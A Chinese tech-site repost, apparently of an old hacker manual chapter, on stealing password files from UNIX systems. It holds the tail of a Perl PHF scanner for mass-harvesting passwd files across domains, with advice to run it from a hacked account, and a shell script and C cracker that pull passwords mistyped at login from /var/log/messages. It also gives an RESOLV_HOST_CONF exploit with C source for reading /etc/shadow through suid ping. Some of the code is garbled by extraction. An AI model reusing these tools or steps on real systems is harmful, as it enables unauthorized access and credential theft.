当前位置: 代码网 > 服务器>网络安全>加密解密 > 从UNIX系统获取密码档(一)

从UNIX系统获取密码档(一)

2008年10月08日 加密解密 我要评论
从UNIX系统获取密码档(一) 目录: PHF:WWW的PH查询 PHF查询攻击新方法 从新手处获取 获取shadow密码档 获取/etc/hosts档 本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法... 08-10-08
\n");
}
close(passwdfile);
print ("done! [$domainfilename].\n");
} else {
print ("failed! [$domainfilename].\n");
}
}
}
}
# we are done. close the output file and end the program.
close (outfile);
0;

------------- cut here
ok。这很简单吧。如果你定义了自己的域名文件urls,也可以使用geturl.pl。
以下是脚本文件说明:
这个轻巧的工具非常容易使用。它可以帮助你取得root用户权限和从不同的
domain获取passwd密码档。
geturl.pl试图记录internet上每台domain对phf的响应结果。你可以选择.com .edu
.org .mil .gov或是需要探测的ip地址列表。一旦发现具有root权限的用户,便在结果
文件中记录uid=root,然后继续探测下一台domain。如果phf探测器找到的用户没有
root权限,它就会读取该domain上的passwd密码档,并在当前目录下以domain.???.passwd
文件名保存。
以下是此工具的使用说明:
ftp到rs.internic.net站点
在domain目录下寻找:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
下载这些文件并对目标主机所属域名文件运行getdomain.pl,如:
perl getdomain.pl com.zone com >com.all
该脚本会分析出.com域的所有主机名并输出到文件com.all中。
如果希望分析.edu域,输入:
perl getdomain.pl edu.zone edu >edu.all
你便会有一个供geturl.pl使用的文件edu.all。
使用geturl.pl的格式如下:
geturl.pl
用edu.all或com.all代替
如果你定义了域名文件urls,运行geturl.pl时不需。
运行结果被记录到当前目录下的geturlresults文件中。
1. geturl.pl使用lynx进行搜索(lynx要在查找路径中)。
2. 如果geturl.pl发现在一个url的httpd上获得了root权限,就会记录该root用户。
如果http用户不是root,但该用户具有在http上执行phf权限,就会抓取该
domain的passwd档,并以fulldomainname.passwd的文件保存到当前目录下。
3. 你也可以提供包含了ip地址列表的文件供geturl.pl使用。
4. 我使用的是os/2的lynx和perl,在长文件名方面没有遇到问题。我在unix机
进行了测试,该程序也可以正常工作。
你需要:
1. perl在查找路径中
2. lynx在查找路径中
3. 长文件名(256字符)支持(如unix或os/2)
4. 本文所列出和包含的所有文件
5. 从internic站点下载的域名文件或自行制作的url或ip列表文件(取名为urls,
运行时仅输入geturl.pl)
注意事项:
如果你有一个现金付费的互联网帐号或通过hack而得到的帐号使用此工具来获取
成果,那就最好了。然后便可以用另一个安全的帐号使用你的劳动成果了。但我并不
必警告你这些,对吧?我对这些工具并不觉得羞耻。这里提供的工具是让你们检查
domain的安全性。;-)
getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 检测并记录每一台domain的响应结果
geturlresults: geturl.pl程序的结果记录文件

这里还有另外一种方法:
如果你能读取/var/adm/messages文件,或许你能轻而易举地得到一些用户的密码!
我曾经采用这种方法获得过root用户的密码!
还记得有多少次你是急着登录的吗?你可能因此而在login:里输入了密码:这种
事情是很容易发生的。这样你就会出现两次登录失败,系统就在这个时候胡所动作了。
例如:(假设你很急着登录而没有留意屏幕)
login: (你键入回车(而你此时并不知道))
password: (你以为现在开始登录了,便输入用户名)
login: (然后输入用户密码)
此时系统会在messages文件中产生如下记录:
login: (这里是你的用户密码!!!)
password ****** (系统当然不会给你看见密码了!?但由于你在login:处输入了
用户密码,只要我们有读取messages文件的权限,就会得到用户密码,并供crackerjack
运行(以找出对应的用户)。如果是在一个小型系统,或许...就是root密码!;-))
以上这些工作可以由以下脚本轻易完成!
对于quantum的bindwarez文件,你可以在附录中找到。
------------ cut here
#!/bin/sh
# under a lot of linux distributions(i know redhat 3.0.3 and slackware 3.0)
# /var/log/messages is world readable. if a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# i could swear this topic has been beaten to death, but i still see this
# problem on every linux box i have access to.
#
# dave g.
# 12/06/96
#
# http://www.escape.com/~daveg
echo creating dictionary from /var/log/messages, stored in /tmp/messages.dict.$
grep "login failure" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$
if [ ! -e ./scrack ]
then
echo "creating scrack.c"
cat scrack.c
#include
#include
#include

#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
file *fp;
char buff[80], salt[3], *encrypted_string;
if ( ( fp = fopen( argv[1], "r" ) ) == null )
{
fprintf( stderr, "couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != null )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != null )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );
encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "creating scrack"
cc -o6 -fomit-frame-pointer -s -o scrack scrack.c
fi
./scrack /tmp/messages.dict.$
echo /tmp/messages.dict.$, ./scrack, and ./scrack.c still exist, delete them yourself.
------ cut here
--------------------------------------------------------------------------------
从新手处获取
好。重复一次,这是获取密码的另一种方法。只要按照第二章所谈到的相关
内容去做就行了。运用你的智慧去与那些尚未成熟的“新手”交朋友吧。;-)
对了。在阅读本手册前,你可能曾经也是别人的“新手”朋友呢!;-)
--------------------------------------------------------------------------------
获取shadow密码档
什么是shadow密码档呢?
举个例子,如果你利用上述方法取回来的passwd档,其内容如下:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:bob hilton:/home/bhilton:/bin/bash
web:x:502:100:web master:/home/web:/bin/bash
mary:x:503:100:mary c. hilton:/home/mary:/bin/bash
是不是少了点东西?噢,被加密的密码。如果你有root权限,就会在/etc/shadow中
找到这些被加密的密码。某些系统管理员会将shadow档隐藏到其他隐蔽的目录下。但
多数情况下,你可以在/etc目录下找到。有一些shadow程序会将密码保存到master.passwd
文件中。但只要你有root权限,总有地方可以找到它。
现在,假设你有一个有效帐号,但没有root权限。
如果主机使用的是libc5.4.7(多数系统都使用它 ;-) ),而且下列文件之一要求
必须有suid权限:
ping, traceroute, rlogin, or, ssh
1. 输入bash或sh以启动一个bash shell
2. 输入: export resolv_host_conf=/etc/shadow
3. 输入以上文件名之一,并加上asdf参数,如:
ping asdf
如果一切正常,你就会得到shadow密码档。
这个方法对于我这几天在许多系统中进行的测试均很有效。
注:你可用所希望读取的文件名(文件拥有者是root)来取代/etc/shadow。
以下脚本可以让你轻而易举地读取所需要的文件:
rcb.c
-------- cut here
/* rcb phraser - therapy in '96
* limits: linux only, no binary files.
* little personal message to the world: fuck censorship!
*/
#include
void getjunk(const char *filetocat)
{ setenv("resolv_host_conf",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("resolv_host_conf");
}
void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
file *devel;
if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("rcb phraser - junked by therapy\n\n");
printf("usage: %s [no options] [file to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag =10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}
-------------- cut here
命令行:rcb /etc/shadow (或其他你在这个系统中不能读取的文件。;-) )

--------------------------------------------------------------------------------
获取/etc/hosts档
需要注意的是,有时你需要知道有哪些系统在hosts文件中,或在这个系统中有哪些
其他domain和所有的ip地址,因此,不要忘了读取/etc/hosts文件以获得以后你可能需要的
资料。
(0)

相关文章:

  • 数据安全知识:了解无线数据加密的方法

    数据安全知识:了解无线数据加密的方法

    数据安全知识:了解无线数据加密的方法 你肯定不会设计一个没有防火墙的互联网接入的网络。因此,你怎么会架设一个没有加密的无线网络?理解无线加密对于部署一个安全的... [阅读全文]
  • PHP中的MD5加密

    PHP中的MD5加密

    PHP中的MD5加密 综述:密码学是研究编制密码(我们简称为加密:encode)和破译密码(我们称之为解密:decode)的技术科学。研究密码变化的客观规律,... [阅读全文]
  • 写给菜鸟—可逆和不可逆加解密算法原理

    写给菜鸟—可逆和不可逆加解密算法原理

    写给菜鸟—可逆和不可逆加解密算法原理 现在很多网站密码采用MD5 方式加密,MD5是不可逆的运算,所以加密后不可能根据密文来还原。这里设明文到MD5密文的转换... [阅读全文]
  • WEBSHELL提升权限又一招(Mysql漏洞)

    WEBSHELL提升权限又一招(Mysql漏洞) S-serv提权方式人人都会用了,搞得现在的主机都配置得非常安全,看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一,…

    2008年10月08日 网络安全
  • 常见保护的攻击:序列号方式

    常见保护的攻击:序列号方式

    常见保护的攻击:序列号方式 (1)序列号保护机制  数学算法一项都是密码加密的核心,但在一般的软件加密中,它似乎并不太为人们关心,因为大多数时候软件加密本身实... [阅读全文]
  • 谈谈软件的破解原理

    谈谈软件的破解原理

    谈谈软件的破解原理 从本章开始,我们来一步一步学习Crack软件(80%读者昏死过去,且不省人世...另有20%在寻找附近可以用来打人的东西) 不可不说一下... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com